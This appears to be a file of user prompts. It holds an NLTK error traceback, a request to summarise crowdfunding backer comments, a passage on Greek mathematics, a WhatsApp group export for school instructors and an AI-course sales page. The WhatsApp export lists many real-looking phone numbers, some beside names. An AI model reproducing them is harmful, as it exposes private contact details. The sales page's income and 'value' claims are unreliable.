root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\noccur this error' -'Summarize the following content in a bullet list Very briefly, why did you decide to back this project?\nI want to get into woodwork but find most of the tools to expensive and take up too much space.\n\nHome crafts\nIts an interesting project with a lot of potential\nInnovative product for small hobby/woodworking projects\nI liked the multi-functionality\n\nThis is a very ingenious multifunctional toolkit for DIYers of smaller projects. The added bonus of it being portable makes it great to work on projects wherever you are.\nJust what I needed. I want these tools for small projects and I don’t have much room to put them\nsmall components for business\nIm always interested in pairing down the amount of equipment I keep at home. This seemed like a great product to try to streamline my tool storage.\nLooked like a great set of tools to help with crafts\nLooks useful.\nI enjoy crafting small objects, and I like the idea of having all tools in one area with the same system\nI make small wood projects. This looks like a great toolkit for that!\nI have limited space and most of my projects have a smaller scale.\nIm an artist who works 3-D increasingly.\nLooking for something compact/multi use for any project\nVersatile, gives me the tools for a few projects I had put on hold. Affordable\nI want to do some projects and it will fit with my projects\nVery useful for our hobby projects\nI am a product designer and thought that this product will help me with my work.\nLooked neat\nInteresting idea\nMy son makes a lot of models. This will help\n\nfun to create\nDesign and usability of the product\nThe size of this kit will be super handy when doing projects with my small children.\nLooks like a handy way to do some fun crafts.\nLooks like it will be helpful with my hobbies\nConvenient tool kit for projects.\nInteresting concept multi tool\nI think it will be an awesome gift for my dad.\nEs sieht nach einem sehr durchdachten Projekt aus. Ich werde dann meine vielen verschiedenen Minigeräte fest im Schrank verschließen können. Vll. noch als Reserve halten, falls euer Gerät irgendwann eine Reparatur benötigt.\nI enjoy craft projects and your invention seems it may be helpful in my workshop\nI love to make small objects with wood\n3D Print Finishing\nInteresting product\nWant to use the tools\nServes my need\nLooked like an interesting project\nLooks like a kit with tools Ive been meaning to buy all in one place\nThe Doer is great and I can use a smaller, lightweight version for smaller projects\nFunctional\nI have the Doer, it only made sense\ndue to all the functionality and price compared to other brands like dremel\nI like the compact storage of multiple, useful tools\nI wanted to invent something similar\nIt seems like a useful tool for me\nIt will be very handy in my project shop\nI worked in engineering and do home projects\nIts what Im searcing for.\nI use a lot of these sorts of tools, and would use more if I had them\nlooked like nice powertool collection\nLooked cool\n\nFill a niche in needing a fabrication / cleanup platform for some of my projects\nLooks like a great little tool set that I can use for small projects.\nUseful\nmeets a current need\nwanted a cutting / drilling tool for small DIY project\nHaving the option to create small items\nA great concept\nalready thinking about buying several of the tool capabilities featured in the DaVinci\nThe multi-tool arrangement provides a compact, efficient system for small hobby projects, without the need for a full shop. Great for a one-bench space in the garage.\nPortability and the craft work use case for the tool\nFits my needs\nIt seems perfect for the crafting I do\nInnovative\nI have a potential use for this equipment\nSmall and flex tools\nI love crafting\nI want to get this as a gift for my husband\nI do a lot of building small projects and this will be perfect, with only one box to transport if needed.\nSeems like it would be a useful tool for small crafts and miniatures.\nLooks like a good deal and your past projects have funded well.\nIt looks like an amazing tool set I can use\nAll in one some tools I want\nIt looks interesting\nI backed your first project and I think this will make a nice addition to my collection of tools\nIt looks cool!\nIt looks incredibly useful for my day-to-day projects.\nI am enthusiastic about DOER and your new product will be just as great.\nLiked the DOER. Hope this is of good quality. Price seemed a bit high, but am hopeful.\nI like the compact form of the tools that fits my needs.\nrelatively good experience with DOER (also they still did not deliver all parts that I was ordering). Useful tools with excellent quality, all are using one 20V system,.\nI love the technology and how it all works together.\nSeems like a very nice small setup for hobbyist activities\nDoer backer\nFor a small project I’ve had for a while….I don’t need full size wood working tools for. This size is perfect for my project.\nI need many of these tools\nneed many tools to fit in a small space\nlike crafting and my husbands does wood models\nLooked handy\ni have seen your last project, and didnt back it... but now this project is perfect for me as Im an industrial designer and innovation manager, it would be a great tool for my workshop!!!\nReplaces a bunch of separate, non-portable tools\nI build models. This looks like a great tool for doing small work.\nI’m itching to start some projects with soapstone and this unit is so portable. I like that it works with our Doer as well.\nModeller\nI have many woodworking tools, but having an all in one toolbox wad very appealing to me for small projects and being able to have it anywhere I need is a plus.\nModel hobbies\nI like useful compact tools\nIm a DIYer and hobbyist. I often have need to cut smaller things so using a table saw is overkill. This kit is perfect (and portable). From watching everything it can do this was meticulous thought out and designed.\nExtremely practical idea that will be useful for me in the future\nI love tools!\nI do lots of projects with power tools\n\nWhat can Ibsay, seems like a dream toolbox !\nCompact and versatility\nIt looks like a useful product for my own use.\nVersatility\nI like power tools designed for small scale projects.\nlooking for compact tool kit\nIntressting product - innovative workbench included\nIs a nice idea!\nI have a variety of hobbies and dont always have the tools I need, this looks like it should cover that.\nI do many 3d printer projects\nVery unique design\nTools for modeling and small projects\nLooks like a good product for my various hobbies\nDIY enthusiast\nSeems like a nice bit if kit for someone into 3d printing\nTo have similar capabilities in remote Light EV repair that we have in brick & mortar workshop\nSmall and portability\nIm going to be actually able to lift and carry it(yay!). Has the tools necessary for a number of projects.\nSeems like it would be useful in my and my wifes hobbies\n\nI always wanted to have a table saw and a lathe.\n\nI looks like it would be a nice addition to my laser cutter crafting\nIts seems very convenient and something i was actually looking for\nThis will be a very useful toolbox\nneed for craft work. compact and hopefully simple to use.\nI wanted a tool kit for when I get a house, plus a Dremel for cosplay props\nInterested on your latest innovative product\nIf it arrives in August, then it will make for a good birthday present\nLiked the versatility of the project\nInteresting idea\nThe project is very interesting\nI love DIY. I have s lot of tools. I have a dremmel, and I have used a lot. I need tools for little details\nCool product\nUnique combination of tools that allow precision and flexibility\nI want the capability of this product\nI am a teacher in France. It could be useful for my students.\nuni tools\nNow I can have my own lathe.\nThe project seems useful\nWant a small but complete set of tools for hobbies.\nBc it reminds me of a Dremel on steroids and Im intrigued\nWork\nBecause I did\nwe are a crafting family, got them for my family\nWas looking for something like that for a long time\nall-in-one design\n.....\nLooks like a great idea\nI like craftmanship work\nI work in engineering and in my spare time i work on home projects\nI love DIY but I dont have much space\nI thought it might be useful for smaller projects\nVery possible and good to have a small work bench so that I dont have to commit for multiple bigger pieces\nim working on a project that wouldve been 100% easier had I had this tool! I wish i could buy it NOW\nKeen to get the tools, and this is a complete compact solution\nIm a model hobbyest and miniature painter and the tools will help make those activities more fun and easier.\nLooks awesome.\nlooked cool and useful\nNice idea\nSomething I can use\nBecause it combines all the tools I need for my projects.\nThe all in one tool fitted in a single box\nConcept\nFunction ans Design are perfekt for my\nFunctionality\nPrice and number of tools.\nI like to make stuff. From 3D printing to spinning & knitting, I love to create.\nThe multitude of tasks possible with it\nLooks solid for projects at home\nPerfect hobbyist platform\nShould help me combine many tools allowing me to create some more space in my garage\nInteresting product. Since you had already a project on Kickstarter it seems to reliable.\nMy wife was looking for something like this for her crafts and 3D printing hobby.\nHusband gift\nVery convenient tool package for hobbies when travelling in motorhome. Limited space for tools in the house - they live in a shed outdoors and Canadian winters means I cant use them outside. This will be perfect for hobby projects inside.\nbecause I believe in it!!!!\nGift for my Boyfriend 💖\nThe usefulness of smaller and portable versions of bigger power tools for hobby applications.\nMy son and I enjoy crafting projects together, and I also like to back innovative projects.\nvery interesting device\nI like to build small projects as a hobby\nThe product\nThanks\nWorks well for making tiny things\nlooks like a useful tool\nI backed Stellens previous project\nits an interesting project\nIt looks awesome and has most of everything I need in one tiny package!\nvariety of tools for miniature figures and 3d prints\nI really need this miracle 🙂\nDesign\nHad a full wood shop in my house lost it all this will hopefully give some of that back\nHas everything a craft hobbyist can use\nAll in one cool gadgetry\nDownsizing and must give up larger tools,\nThis set of tools would help a lot in my craft projects.\nLike\nDYEr\nI am a crafter and love the variety of tools in this set\nIts a big Swiss army knife. Its amazing!\n\nCrafting projects\nThe amount of tools and the built in work space are what I desire\nneed the product\nLiked the tool design\nNA\nA present for my husband\nIt looks useful.\nI am a hobbyist with extremely limited space and having access to a plethora of tools that I could use on my balcony will open my possibilities a million-fold\nHobbyist\nI love the DOER, so why not?\nwant one\nseemed interesting\nMultifunctional tool\nLike work with models.\ngood concept for mobile projects\nLove tools\nI am very creative and i had wanted to invent something similar to this.\nScale model is my hobby\nCordless multi tool\nIt looks like its going to be a huge helper in modeling\nIt looks really awesome, and as someone who loves making small projects, this seemed perfect! However, I want to buy 2 sets and there doesnt seem to be an option for that\nIts perfect for the kind of miniature projects I like.\nLOVE the compact multi-functionality.\nPerfect for hobbies like 3d print\nIt looks like an interesting concept, and I have use of small modeling tools.\nLooks interesting\nCompact and Functionaly\nI am a maker and have been looking at similar tools\nLooks like a project I can support.\nInteresting idea!\nI backed the Stellen DOER and thought this is a great companion for smaller projects\nLooking forward to using it to create small projects with precision and portability.\nI am a maker and this seems like a great toolset and workflow for some of my projects\nMain reason I dont have power tools myself is because of how much space they would take up, this seems like a good option for me\nI think it’s useful tool\nIt looks like a great product, and unique. Priced right.\nI can use your product with my hobby, in your English (US)' -'Anyway, starting with Thales is as good as any other starting point. If only we realise that geometrical\nproofs were part of philosophy and Greek philosophy was motivated both esoterically and\npractically. The precision in dealing with coins, measuring the height or distance of objects, fitted\nthese ideas just as perfect as did acquiring knowledge of the divine circle. It fitted the notion\nof getting to grips with the world order. Thinking and reasoning with triangles and circles was\npart of that. Thales might have been inclined to a political or physical understanding, so that projecting\nour idea of geometry is not entirely unfitting. To many of the ancients, however, the ideas\nof geometria were first and foremost part of, or even originated from, myths and beliefs. The ideas\nwere associated with astrology and numerology.\nTo the Pythagorean order, named after the philosopher Pythagoras of Samos (ca. 571 - ca. 500)\ngeometria and arithmetica were the essence behind a divine order they tried to describe. Because\nthe Pythagorean sect was secretive in nature, about both knowledge and rituals, also about\nthis group of philosophers little information survives (that is: they were rather successful in their\nsecrecy). It was customary to attribute results obtained by people within the order to the master\nhimself, so we don’t even know for sure if a proof of the Pythagorean theorem was indeed\nthought up by Pythagoras himself.\nTo the Pythagorean sect, numbers offered a way through which they could feel themselves connected\nto the world in a practical and mystical sense. Numbers not only offered a way of counting\npossessions and armies, but they also represented the divine world order. The faith of people\nwas hidden in numbers. As many of the ancient cultures, the Pythagoreans considered some\nnumbers to be male (2 and probably even numbers in general), others to be female (1 and probably\nodd numbers in general). Numbers and properties of numbers were often thought about\nin so-called ψῆφος (psephos), or counting objects, such as pebbles or shards. Counting and\narithmetic with these objects was simply done by joining pebbles (when adding) or doubling a\nnumber of pebbles (when multiplying). In Athens, the same kind of objects were used for voting\n— and in that sense numbers also literally decided upon matters of politics and on the faith of\npeople, being expelled from the city or not. The connection between numbers and reality could\nMathematical worlds 23\nbe quite direct. Special powers were attributed to, for example perfect numbers (numbers, equal\nto the sum of their divisors, such as 6 = 1+2+3; 28=1+2+4+7+14), triangular numbers (1, 3, 6, 10,\n15, … which could be laid down in an equilateral triangle: 1, 1+2, 1+2+3, 1+2+3+4, …) and fair\nnumbers (1, 4, 9, 16, 25, … which could be laid down in a square).\nThe Pythagoreans were enthusiastic about the fact that the length of the snare on a monochord,\nwas representative of the musical tone it produced when played. The theory, called musica started\nfrom the observation that two strings, the second one half the size of the first, produced a\nsimilar note - we would say: the second transposed one octave with respect to the first. That resulted\nin an intimate connection between musica and the theory of ratios, which was part of the\narithmetica or geometria, depending on the stance of the philosopher towards these subjects.\nAdding or multiplying ratios were connected to the monochord in ways that have become inconceivable\nto us. Note that it is a present-day prejudice to regard this connection as a physical\ntheory, whereas it could also be viewed as a divinely inspired or mythical connection between\nnumbers and the world order, expressed in the theory of harmonies.\nThese kind of mythical connections between number and reality made the Pythagoreans believe\nfirmly that everything could be expressed by number: reality was numerological in nature. And if\nnumbers were of divine origin, trying to make sense of the deeper ideas behind the world order,\nor expressed divine relations, no wonder that special numbers became of special interest. It is\nfrom these kind of ideas that prime numbers, divisors, largest common divisors or least common\nmultiples were interesting.\nIt might have been the realisation that there existed numbers that had no common measure, for\nexample the side and diagonal of a regular pentagon, or, a little more difficult to realise but easier\nto imagine, the side and diagonal of a square, anyway: some philosophers after 400 BC didn’t\ntrust arithmetica as a basis for true philosophy. To them, deriving knowledge from geometria became\nmore common. Indeed, the art of geometria was associated with drawing figures in the\nsand, but these figures only served the imagination, and were not considered an intrinsic part of\nMathematical worlds 24\nIllustration I.1: psephos arithmetic in action: using pebbles the\nPythagoreans could understand some properties of numbers - and\nthereby the cosmos. From the picture it is clear that the sum of the\nfirst consecutive female (odd) numbers (so: 1+3+5 etc.) is a just\nnumber (square). The picture illustrates how close proof and revelation\ncould be for the Pythagoreans: the picture literally reveals an\neternal truth, for those who are willing and able to “read” it.\nreasoning. The point was exactly not to assume anything about what was made “clear” by the\nsenses, since, as Plato (428/427 or 424/423 – 348/347) implicitly noted in his Τίμαιος (Timaeus, ca\n360 BC), real knowledge had to be derived not from the senses, but from the λόγος (logos, a\nword with many meanings: story, “I say”, reason). In logos, order was to be found. In the cave dialogue,\nPlato explains how the senses do reveal truth, but not what is behind the truth, since the\npeople in the cave only see the projections of objects outside the cave, and not what was there\nin the “real” world, the world of perfect and eternal ideas, ideai, which created those projections.\nHis philosophy was about these “real” objects. Knowledge of these eternal things were what the\nphilosopher strove for. And geometria could help get closer to these ideai, as it, literally, got you\ncloser to understanding astronomy — to knowledge of the (eternal!) stars. Of course, also to Plato\narithmetica and geometria were important in trade and warfare, but most notably geometria\nalso allowed the philosopher to gain knowledge of the eternal ideai.\nAccording to other ancient philosophers, the essence of the two subjects was much more mundane.\nFor example, Aristotle (384 - 322) thought arithmetica and geometria were abstractions of\nthe ideas given by our senses. The use of these subjects was in trade and warfare, but beyond\nthat, the use of arithmetica and geometria was rather limited, and didn’t reach beyond the pedagogical\nsimplest example of philosophy. The idea of proof and structure did appeal to him, although\nhe wasn’t fond of measurement, which was visible in his Φυσικὴ ἀκρόασις (Physics, ca.\n350 BC). According to Aristotle, the world was built from four building blocks: earth, water, fire\nand air. All the objects we perceived, derived their substance from various combinations of these\nelements. A fifth element, by the romans called the quinta essentia, was necessary to give matter\na soul or life — matter itself was always inanimate. Aristotle’s universe consisted of concentric\nspheres, which revolved around the central earth in an intricate way, thus in a qualitative sense\nexplaining the perceived motion of sun, moon, planet and stars.\nGeometria as part of a philosophical practice\nThe Greek philosophers that were trying to understand the eternal ideai, were inclined to study\ngeometria, since it offered more solidity than arithmetica, and perhaps also because it was closer\nto (read: necessary to understand certain constructions in) astronomia, including astrology. The\nassumption they unconsciously made was that the world order was based on (divine!) straight\nlines and circles, flat surfaces and orbs. These objects were therefore favoured in all constructions\nand were the start of all reasoning in geometria.\nOne of the geometrical problems that was posed in antiquity was the doubling of the cube. Its\ntwo dimensional analogon was relatively easy: the doubling of (the area of ) a square could be\nperformed by constructing a square on the diagonal of the original square. The doubling of (the\ncontent of ) a cube, however, was not that simple. The problem was known as the Delian riddle,\nbecause of a myth that belonged to it. This myth immediately illustrates beautifully how philo-\nMathematical worlds 25\nsophy, mysticism and the search for world order were related. About 430 BC the citizens of\nAthens consulted the Delian oracle, because the plague was infesting their city state. The oracle\ntold them to double the cubic altar of Apollo and the disease would disappear. The Athenians\ndoubled all sides of the altar, only to find out that this didn’t solve their problem, since now the\naltar had become eight times the (content of the) original altar stone. The problem proved to be\ntrickier than it looked at first sight.' -"13/10/22, 5:13:14 PM] B2B-AllInstructors: \u200eWB Shilpa Partner added you\n[13/10/22, 5:18:39 PM] WB Shilpa Partner: \u200eThis message was deleted.\n[13/10/22, 5:19:12 PM] WB Shilpa Partner: Hello everyone,\nAs we are going live in schools , we have created this group to update the progress and issues if you are facing.\n\nWe have LnD team, tech support team , Dev team added on to this group \nThanks\n[13/10/22, 5:21:15 PM] \u202a+91\xa081245\xa006450\u202c: Ok mam\n[13/10/22, 5:21:35 PM] WB Bisal shaw: ok ma'am\n[13/10/22, 5:24:41 PM] \u202a+91\xa080150\xa077049\u202c: 👍🏻\n[13/10/22, 5:26:27 PM] \u202a+91\xa083107\xa072001\u202c: 👍\n[13/10/22, 5:26:43 PM] \u202a+91\xa089392\xa061199\u202c: Okay mam\n\u200e[13/10/22, 6:04:14 PM] \u202a+91\xa096053\xa066484\u202c: \u200eContact card omitted\n[13/10/22, 6:04:27 PM] \u202a+91\xa096053\xa066484\u202c: Please add this instructor too\n[13/10/22, 6:28:39 PM] WB Deveshwar: \u200eWB Ranjitha Partner added WB Deveshwar\n[13/10/22, 6:35:03 PM] \u202a+91\xa099167\xa026126\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa099167\xa026126\u202c\n[13/10/22, 6:35:52 PM] B2B-AllInstructors: \u200eWB Ranjitha Partner added \u200e\u202a+91\xa070192\xa042243\u202c and \u202a+91\xa082290\xa069585\u202c\n[13/10/22, 6:36:22 PM] \u202a+91\xa097878\xa005551\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa097878\xa005551\u202c\n[13/10/22, 6:39:14 PM] \u202a+91\xa082489\xa084965\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa082489\xa084965\u202c\n[14/10/22, 2:53:20 AM] \u202a+91\xa06307\xa0100\xa0145\u202c: \u200eThis message was deleted.\n\u200e[14/10/22, 10:59:07 AM] \u202a+91\xa081245\xa006450\u202c: \u200eimage omitted\n\u200e[14/10/22, 10:59:07 AM] \u202a+91\xa081245\xa006450\u202c: \u200eimage omitted\n[14/10/22, 10:59:44 AM] \u202a+91\xa081245\xa006450\u202c: For me wizskill not working changed token also but saying token expired\n[14/10/22, 11:00:02 AM] \u202a+91\xa081245\xa006450\u202c: Can any one solve this?\n[14/10/22, 11:01:02 AM] \u202a+91\xa075848\xa035819\u202c: Refresh the page generate new token\n[14/10/22, 11:13:06 AM] WB Shilpa Partner: Srini as discussed kindly see if your device is online . Test smart light and then try to work on this program with 7 segment\n[14/10/22, 11:44:53 AM] \u202a+91\xa081245\xa006450\u202c: Ok mam\n\u200e[14/10/22, 12:11:23 PM] \u202a+91\xa090147\xa043140\u202c: \u200eimage omitted\n[14/10/22, 12:11:34 PM] \u202a+91\xa090147\xa043140\u202c: What's this kit mam\n[14/10/22, 12:12:26 PM] \u202a+91\xa090147\xa043140\u202c: It's send from our company to school\n[14/10/22, 12:47:28 PM] WB Shilpa Partner: Open and see Nikita - also any kit related please talk to Suri sir\n\u200e[14/10/22, 12:47:48 PM] WB Shilpa Partner: \u200eContact card omitted\n\u200e[14/10/22, 1:31:36 PM] WB Shilpa Partner: Consumer-vs-Creator.pptx \u200edocument omitted\n\u200e[14/10/22, 1:31:36 PM] WB Shilpa Partner: Deck for SC teachers Orientation.pptx \u200edocument omitted\n\u200e[14/10/22, 1:31:40 PM] WB Shilpa Partner: INFINITY FUTURZ PARENT ORIENTATION.pptx \u200edocument omitted\n\u200e[14/10/22, 1:31:40 PM] WB Shilpa Partner: infinity\\_futurz\\_B2B.pdf • \u200e7 pages \u200edocument omitted\n[14/10/22, 1:32:20 PM] WB Shilpa Partner: Please save these docs and go through the details which will help you all when you are handling Teacher Orienation/Parent Orientations\n\nKindly revert back for any questions\n[14/10/22, 1:32:43 PM] \u202a+91\xa098673\xa010262\u202c: Okay mam\n[14/10/22, 1:32:58 PM] \u202a+91\xa083107\xa072001\u202c: Shilpa can we showcase some slides in ptm\n[14/10/22, 1:33:01 PM] WB Shilpa Partner: Parent Orientation Recordings:\n\nhttps://drive.google.com/drive/u/1/folders/1GjupMsp87BsQ3gr19daMF4P6ySSeiHxK\n\nWebinar videos\nhttps://drive.google.com/drive/u/1/folders/1lwxNw9Ea-uzVDNMcuHbuRWq52RFEyn\\_K\n\nLab set up \nhttps://drive.google.com/drive/u/1/folders/1lwxNw9Ea-uzVDNMcuHbuRWq52RFEyn\\_K\n\nFAQ - for PO\nhttps://docs.google.com/document/d/1jlKeBiTfe7R-j-gmbJGRXNuRHAgEvs7CejTL2L1bIbs/edit\n[14/10/22, 1:33:14 PM] WB Shilpa Partner: \u200eWB Shilpa Partner changed the group description\n[14/10/22, 1:33:30 PM] WB Shilpa Partner: Adding these as part of This whats app Group Description\n[14/10/22, 1:33:59 PM] \u202a+91\xa083107\xa072001\u202c: Pls confirm as we have a ptm tomorrow\n[14/10/22, 1:34:42 PM] WB Shilpa Partner: Request all Instructors to go through the recordings - FAQ doc . PO ppt has been shared above which can be used when conducting the sessions\n[14/10/22, 1:36:27 PM] WB Shilpa Partner: yes use the ppts / pdfs based on the session you are handling we have sent Teacher Orientation , Parent Orientation and also PDF which can be used\n[14/10/22, 1:36:58 PM] \u202a+91\xa083107\xa072001\u202c: Ok thanks\n[14/10/22, 1:47:17 PM] \u202a+91\xa083107\xa072001\u202c: Thanks a lot. It will help to a great extent\n[14/10/22, 1:49:25 PM] Pankaj Sir: Thanks for creating this group Shilpa\n[14/10/22, 1:50:54 PM] \u202a+91\xa089392\xa061199\u202c: Sure mam thank you so much\n[14/10/22, 1:50:55 PM] WB Shilpa Partner: Anitha, Izaz, Vasudha, Zalak - if you need any help wrt session that you guys are conducting tomorrow we can connect at 5 and discuss\n[14/10/22, 1:52:34 PM] \u202a+91\xa089611\xa036061\u202c: Marathalli 2 going live tommorow.\nAlso I have to conduct parent orientation in Marathalli 1 and marathalli 2\n[14/10/22, 1:52:37 PM] Pankaj Sir: Please share all schools lab inauguration and actions on this group\n[14/10/22, 1:52:49 PM] WB Shilpa Partner: Okay go though the slide that we have shared ..\n[14/10/22, 1:52:57 PM] \u202a+91\xa089611\xa036061\u202c: Yes ma'am\n[14/10/22, 1:53:02 PM] WB Shilpa Partner: All the best everyone!\n[14/10/22, 1:53:22 PM] \u202a+91\xa089611\xa036061\u202c: Sure sir\n[14/10/22, 1:53:48 PM] Pankaj Sir: @919606819666 can we stop the batch wise groups and start using this for all communications\n\u200e[14/10/22, 2:22:34 PM] Surendra Parihar: \u200eimage omitted\n[14/10/22, 2:22:52 PM] Surendra Parihar: Support Staff Numbers...\n[14/10/22, 2:32:51 PM] WB Zalak Vyas: For tomorrow i am having session 0 in a different school so till session 0 I don't have any queries.\n[14/10/22, 2:33:23 PM] WB Shilpa Partner: okay\n[14/10/22, 2:34:16 PM] \u202a+91\xa081245\xa006450\u202c: Thanks for update i have doubt in change mdash to aws I will ask\n[14/10/22, 2:41:54 PM] \u202a+91\xa096296\xa062139\u202c: \u200eWB Ranjitha Partner added \u202a+91\xa096296\xa062139\u202c\n[14/10/22, 2:40:55 PM] WB Gunjan Instructor WK: Tomorrow their is PTM in Ram Murthy - 3. I have to interact with parents. What to do?\n[14/10/22, 2:41:54 PM] \u202a+91\xa083107\xa072001\u202c: Thanks Shilpa I don't have any queries for tomorrow's session\n[14/10/22, 2:42:56 PM] WB Gunjan Instructor WK: Some students interested in buying wizgear kit. Especially those who have enrolled .\n[14/10/22, 2:44:16 PM] WB Swetha Partner: +1\n[14/10/22, 2:44:35 PM] \u202a+91\xa090363\xa095869\u202c: We are still waiting for live classes mam.....we are on enrollment process.... We have ptms going for next three days about to address the parent queries\n[14/10/22, 3:19:45 PM] WB Shilpa Partner: \u200eWB Shilpa Partner changed the group description\n[14/10/22, 3:20:07 PM] WB Shilpa Partner: Great Vasudha\n[14/10/22, 3:40:28 PM] WB Vidya: \u200eWB Shilpa Partner added WB Vidya\n[14/10/22, 4:13:20 PM] WB Shilpa Partner: Team,\nIf you have any questions related to the orientation time and the location. Kindly connect back with PMO team where Savitha mam will be able to help you \nThanks\n[14/10/22, 4:14:33 PM] \u202a+91\xa070137\xa023609\u202c: \u200eThis message was deleted.\n\npls confirm you read this." -'Jasper Logo\nRapidly Build Your Digital Empire with A.I. in Less Than 30 Days\nTrain A.I. to Setup and Run a $100k+ Digital Business For You.\nThe Ultimate Framework designed to help people start a one-person business, create digital products, build a personal brand, and automate processes using AI.\n\nCreate a customer and audience-building machine.\nLearn How AI Can Build You a $100k+ Business 👇\nJoin AI Content Mastery\nCreate High-Value\nDigital Products\nUse A.I. to create products that are easy to distribute, scale, and have low marginal costs. This makes a digital product the most cost-effective way to increase revenue fast.\nBuild a Personal Brand That Gives You Credibility\nTo gain traction and make people pay attention to you, there is a formula. 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CONTENT MASTERY\nA 3-Phase Rapid Implementation Mastercourse to Help You Create Your Core Product, Optimize it for Conversions and Get Sales Through Social Media Content\nFoundation\nSTART HERE\nIt\'s important to understand the tools and strategy before going all in. Here we\'ll go over the best ways to use different A.I. tools and an in-depth look at the C.A.M.P. Method.\n\nQuick Overview of What You\'ll Learn in the Foundation\nFalse beliefs about building a digital business\n\u200bThe key missing pieces you need to get past $10k per month in revenue\n\u200bCore principles for using A.I. Tools to get the most out of them\n\u200bDifferent monetization strategies I use with A.I.\n\u200bTools needed for the entire system\n\u200bThe anatomy of building a $100k digital business with A.I.\n\nPHASE 1\nOFFER / PRODUCT CREATION\nWe\'ll be going over the exact A.I. prompts and system to create a product that takes your customers from pain/problem to the desired outcome. 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Create a social media strategy that takes advantage of the unique features and audience of each platform.\nQuick Overview of What You\'ll Learn in Phase #3\nUsing AI to automate your social media posting and scheduling for optimal engagement\n\u200bCreating viral content with AI-powered analysis to identify what resonates with your audience\n\u200bMastering the art of inbound and outbound engagement\n\u200bUtilizing AI-powered tools to create compelling social media visuals, including infographics, animations, and video content that grab attention and drive engagement\n\u200bAutomating the process of finding and engaging with social media influencers to expand your reach and increase traffic to your brand\'s social channels and website\nComplementary Inclusions When You Join The Program\nComplementary Inclusion #1\nAccess to Private Community and Monthly Q&A Calls\nConnect with me directly and get prompt responses within 24 hours or less. Get answers to your questions and gain a clear understanding of how to take your business to the next level.\nComplementary Inclusion #2\nLive Case Study\nI will be creating a brand-new digital business from scratch and showing you throughout the training exactly what I\'m doing to grow it to $100k per month in revenue. I will be showing you everything!\nJoin AI CONTENT MASTERY Today and Get The Following Bonuses for FREE\n\nBonus #1\nViral Storytelling Magic \nYou will significantly increase your results. You\'ll be able to cast spells and get people to do what you want them to do with the power of stories. Stories are how we\'ve all been communicating for years. Master this art, and you\'ll never struggle again. ($197 value)\nBonus #2\n100+ Productivity Prompts\nStart doing more in less time. A.I. is only useful if you know what to tell it. I\'m giving you prompts to copy & paste and get the results you want now. ($47 value)\nBonus #3\nA.I. Action Plan\nThis will put you at a considerable advantage. It\'ll allow you to hit the ground running and make your first $10k with A.I. ($97 Value)\nBonus #4\nSolopreneur A.I.\nGet Beta Access Starting March 1st to the first ever digital product automation tool. We’ve taken the principles in the C.A.M.P. Method and combined it with A.I. to create Software as a Service that builds your digital business even faster. You get access to the beta version before the world does. ($1,200/yr Value)\n\nSo Here\'s A Recap of Everything You\'re Getting\nLifetime Access to AI Content Mastery Masterclass ($997 Value)\nAccess to the A.I. Mastery Community ($497 Value)\nAll My Digital Empire A.I. Prompts ($997 Value)\n\u200bBinge-Worthy Content Automation ($497 Value)\nBonuses\nA.I. Action Plan ($97 Value) \n\u200bViral Storytelling Magic ($197 Value)\n\u200b25+ Productivity Prompts ($47 Value)\nSolopreneur AI ($1,200/yr value)\nTotal Approximate Value = $3,829\nNow, I\'m not going to 